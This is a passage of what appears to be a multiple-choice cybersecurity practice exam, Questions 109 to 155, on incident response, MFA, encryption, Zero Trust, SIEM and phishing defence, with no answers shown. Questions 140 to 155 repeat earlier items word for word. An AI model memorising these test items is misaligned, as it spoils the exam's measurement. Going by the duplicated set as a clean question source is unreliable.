of the traffic\ C) Monitor the traffic for further analysis\ D) Notify the incident response team **Question 109:**\ A company is implementing a new remote access solution for its employees. Which of the following security measures should be prioritized to ensure secure access to the company\'s network? A\) VPN with strong encryption\ B) Single sign-on (SSO)\ C) Multi-factor authentication (MFA)\ D) Endpoint protection software **Question 110:**\ An organization is concerned about the risk of data breaches and wants to ensure that all sensitive data is protected. Which of the following strategies should be implemented? A\) Data encryption\ B) Data masking\ C) Data classification\ D) Data tokenization **Question 111:**\ A security analyst is conducting a forensic investigation on a compromised system. Which of the following types of data should be collected first? A\) Memory dump\ B) Hard drive image\ C) Network logs\ D) System logs **Question 112:**\ An organization is developing a new application and wants to ensure that it is secure by design. Which of the following practices should be incorporated into the software development lifecycle? A\) Threat modeling\ B) Continuous integration\ C) Automated testing\ D) Code refactoring **Question 113:**\ A company is planning to implement a Zero Trust security model. Which of the following principles should be central to the implementation? A\) Assume breach\ B) Least privilege access\ C) Micro-segmentation\ D) Continuous authentication **Question 114:**\ A security analyst is reviewing the results of a vulnerability scan and notices that several critical vulnerabilities have been identified. Which of the following should be the analyst\'s next step? A\) Prioritize the vulnerabilities for remediation\ B) Conduct a penetration test to confirm the findings\ C) Patch the vulnerabilities immediately\ D) Notify the system owners of the vulnerabilities **Question 115:**\ An organization is implementing a new security operations center (SOC). Which of the following should be the primary focus of the SOC? A\) Monitoring and responding to security incidents\ B) Conducting regular security audits\ C) Developing security policies and procedures\ D) Training employees on security best practices **Question 116:**\ A security analyst is tasked with improving the organization\'s incident response capabilities. Which of the following actions would be most effective in achieving this goal? A\) Conducting regular incident response exercises\ B) Implementing an incident management system\ C) Updating the incident response plan\ D) Training the incident response team **Question 117:**\ An organization has detected a malware infection on multiple systems. Which of the following actions should be taken first to prevent the spread of the malware? A\) Isolate the infected systems from the network\ B) Update the antivirus software on all systems\ C) Conduct a full scan of the network for malware\ D) Notify the affected users **Question 118:**\ A company is implementing a new security policy that requires all sensitive data to be encrypted at rest. Which of the following encryption algorithms would provide the best security? A\) AES\ B) RSA\ C) DES\ D) MD5 **Question 119:**\ A security analyst is investigating a security incident where an attacker used stolen credentials to access a system. Which of the following controls would have been most effective in preventing this attack? A\) Multi-factor authentication (MFA)\ B) Password complexity requirements\ C) Account lockout policy\ D) Security awareness training **Question 120:**\ An organization is planning to implement a comprehensive backup strategy to protect against data loss. Which of the following factors should be considered when designing the backup plan? A\) Recovery Point Objective (RPO)\ B) Backup frequency\ C) Offsite storage\ D) All of the above **Question 121:**\ A security analyst is tasked with ensuring that the organization\'s systems are compliant with industry regulations. Which of the following actions would be most effective in achieving compliance? A\) Conducting regular security audits\ B) Implementing security controls based on regulatory requirements\ C) Monitoring systems for compliance violations\ D) Updating the organization\'s security policies **Question 122:**\ An organization is concerned about the security of its mobile devices. Which of the following actions should be taken to secure mobile devices used by employees? A\) Implement mobile device management (MDM)\ B) Require the use of strong passwords on all devices\ C) Encrypt all data stored on the devices\ D) All of the above **Question 123:**\ A security analyst is reviewing logs from a recent security incident and notices that the attacker exploited a misconfiguration in a web server. Which of the following actions should be taken to prevent similar incidents in the future? A\) Perform regular configuration reviews\ B) Implement a Web Application Firewall (WAF)\ C) Conduct security awareness training\ D) Update the organization\'s security policies **Question 124:**\ An organization is implementing a new identity and access management (IAM) solution. Which of the following should be the primary focus of the implementation? A\) Ensuring proper access controls are in place\ B) Integrating the IAM solution with existing systems\ C) Providing user training on the new system\ D) Conducting a risk assessment of the IAM solution **Question 125:**\ A company has detected an increase in phishing attempts targeting its employees. Which of the following actions should be taken to mitigate the risk of phishing attacks? A\) Implement an email filtering solution\ B) Conduct regular phishing awareness training\ C) Enable multi-factor authentication for all users\ D) All of the above **Question 126:**\ An organization is planning to implement a new data loss prevention (DLP) solution. Which of the following should be the primary goal of the DLP implementation? A\) Protecting sensitive data from unauthorized access\ B) Preventing the exfiltration of sensitive data\ C) Monitoring data flows for policy violations\ D) All of the above **Question 127:**\ A security analyst is tasked with investigating a potential data breach. Which of the following actions should the analyst take first? A\) Identify the scope of the breach\ B) Notify the affected parties\ C) Isolate the affected systems\ D) Begin forensic analysis **Question 128:**\ An organization is implementing a new security information and event management (SIEM) system. Which of the following should be the primary goal of this implementation? A\) Centralizing security event data\ B) Automating incident response\ C) Reducing false positives\ D) Improving threat detection **Question 129:**\ A company is developing a new web application and wants to ensure that it is secure from common web-based attacks. Which of the following practices should be prioritized during the development process? A\) Conducting input validation\ B) Implementing secure coding standards\ C) Performing regular code reviews\ D) Using encryption for data storage **Question 130:**\ An organization is planning to implement a network segmentation strategy to limit the spread of malware. Which of the following should be considered when designing the segmentation? A\) The sensitivity of the data in each segment\ B) The number of devices in each segment\ C) The types of users in each segment\ D) The performance impact on network traffic **Question 131:**\ A security analyst is reviewing logs from a recent security incident and notices that the attacker used a known vulnerability to gain access to the network. Which of the following should be the analyst\'s primary focus? A\) Identifying other vulnerable systems\ B) Patch management practices\ C) Incident response procedures\ D) Security awareness training **Question 132:**\ A company has detected an ongoing brute-force attack against its user accounts. Which of the following measures should be implemented immediately to mitigate the attack? A\) Lockout policy\ B) Captcha verification\ C) Two-factor authentication\ D) IP blacklisting **Question 133:**\ A security analyst is tasked with identifying and responding to potential insider threats. Which of the following tools would be most effective in detecting suspicious activities from employees? A\) Data Loss Prevention (DLP)\ B) Security Information and Event Management (SIEM)\ C) User and Entity Behavior Analytics (UEBA)\ D) Intrusion Detection System (IDS) **Question 134:**\ An organization has detected that several of its servers are communicating with an IP address known to be associated with malware. Which of the following should the security team do first? A\) Block the IP address on the firewall\ B) Disconnect the affected servers from the network\ C) Conduct a full scan of the servers for malware\ D) Notify law enforcement **Question 135:**\ A security analyst is reviewing a recent phishing attack where several employees clicked on a malicious link and entered their credentials. Which of the following steps should be taken to prevent future phishing attacks? A\) Implement an email filtering solution\ B) Conduct regular phishing awareness training\ C) Enable multi-factor authentication for all users\ D) Monitor email traffic for suspicious activity **Question 136:**\ A company is concerned about the security of its supply chain and wants to ensure that all third-party vendors comply with its security policies. Which of the following actions should be taken to mitigate supply chain risks? A\) Conduct a thorough vetting process for all vendors\ B) Require vendors to provide security certifications\ C) Implement a third-party risk management program\ D) Perform regular audits of vendor security practices **Question 137:**\ An organization is planning to implement a security awareness program for its employees. Which of the following topics should be included in the training to address the most common security threats? A\) Phishing attacks\ B) Password security\ C) Social engineering\ D) Data encryption **Question 138:**\ A security analyst is investigating an incident where an attacker gained unauthorized access to a database. Which of the following should the analyst do first to contain the incident? A\) Change all database administrator passwords\ B) Disable the compromised database accounts\ C) Revoke access to the database for all users\ D) Isolate the database from the network **Question 139:**\ An organization is considering the use of cloud services for its business operations. The Chief Information Security Officer (CISO) is concerned about data security and regulatory compliance. Which of the following should be the top priority when selecting a cloud service provider? A\) Data encryption capabilities\ B) Compliance with industry standards\ C) Availability of disaster recovery services\ D) Cost of services **Question 140:**\ A security analyst is reviewing firewall logs and notices a large amount of traffic from a single IP address attempting to access various services on the network. Which of the following actions should the analyst take first? A\) Block the IP address on the firewall\ B) Investigate the source of the traffic\ C) Monitor the traffic for further analysis\ D) Notify the incident response team **Question 141:**\ A company is implementing a new remote access solution for its employees. Which of the following security measures should be prioritized to ensure secure access to the company\'s network? A\) VPN with strong encryption\ B) Single sign-on (SSO)\ C) Multi-factor authentication (MFA)\ D) Endpoint protection software **Question 142:**\ An organization is concerned about the risk of data breaches and wants to ensure that all sensitive data is protected. Which of the following strategies should be implemented? A\) Data encryption\ B) Data masking\ C) Data classification\ D) Data tokenization **Question 143:**\ A security analyst is conducting a forensic investigation on a compromised system. Which of the following types of data should be collected first? A\) Memory dump\ B) Hard drive image\ C) Network logs\ D) System logs **Question 144:**\ An organization is developing a new application and wants to ensure that it is secure by design. Which of the following practices should be incorporated into the software development lifecycle? A\) Threat modeling\ B) Continuous integration\ C) Automated testing\ D) Code refactoring **Question 145:**\ A company is planning to implement a Zero Trust security model. Which of the following principles should be central to the implementation? A\) Assume breach\ B) Least privilege access\ C) Micro-segmentation\ D) Continuous authentication **Question 146:**\ A security analyst is reviewing the results of a vulnerability scan and notices that several critical vulnerabilities have been identified. Which of the following should be the analyst\'s next step? A\) Prioritize the vulnerabilities for remediation\ B) Conduct a penetration test to confirm the findings\ C) Patch the vulnerabilities immediately\ D) Notify the system owners of the vulnerabilities **Question 147:**\ An organization is implementing a new security operations center (SOC). Which of the following should be the primary focus of the SOC? A\) Monitoring and responding to security incidents\ B) Conducting regular security audits\ C) Developing security policies and procedures\ D) Training employees on security best practices **Question 148:**\ A security analyst is tasked with improving the organization\'s incident response capabilities. Which of the following actions would be most effective in achieving this goal? A\) Conducting regular incident response exercises\ B) Implementing an incident management system\ C) Updating the incident response plan\ D) Training the incident response team **Question 149:**\ An organization has detected a malware infection on multiple systems. Which of the following actions should be taken first to prevent the spread of the malware? A\) Isolate the infected systems from the network\ B) Update the antivirus software on all systems\ C) Conduct a full scan of the network for malware\ D) Notify the affected users **Question 150:**\ A company is implementing a new security policy that requires all sensitive data to be encrypted at rest. Which of the following encryption algorithms would provide the best security? A\) AES\ B) RSA\ C) DES\ D) MD5 **Question 151:**\ A security analyst is investigating a security incident where an attacker used stolen credentials to access a system. Which of the following controls would have been most effective in preventing this attack? A\) Multi-factor authentication (MFA)\ B) Password complexity requirements\ C) Account lockout policy\ D) Security awareness training **Question 152:**\ An organization is planning to implement a comprehensive backup strategy to protect against data loss. Which of the following factors should be considered when designing the backup plan? A\) Recovery Point Objective (RPO)\ B) Backup frequency\ C) Offsite storage\ D) All of the above **Question 153:**\ A security analyst is tasked with ensuring that the organization\'s systems are compliant with industry regulations. Which of the following actions would be most effective in achieving compliance? A\) Conducting regular security audits\ B) Implementing security controls based on regulatory requirements\ C) Monitoring systems for compliance violations\ D) Updating the organization\'s security policies **Question 154:**\ An organization is concerned about the security of its mobile devices. Which of the following actions should be taken to secure mobile devices used by employees? A\) Implement mobile device management (MDM)\ B) Require the use of strong passwords on all devices\ C) Encrypt all data stored on the devices\ D) All of the above **Question 155:**\ A security analyst is reviewing logs from a recent security incident and notices that the attacker exploited a misconfiguration in a web server. Which of the following actions should be taken to prevent similar incidents in the future? A\) Perform regular configuration reviews\ B) Implement a Web Application Firewall (WAF)\ C) Conduct security awareness training\ D) Update the organization\'s security policies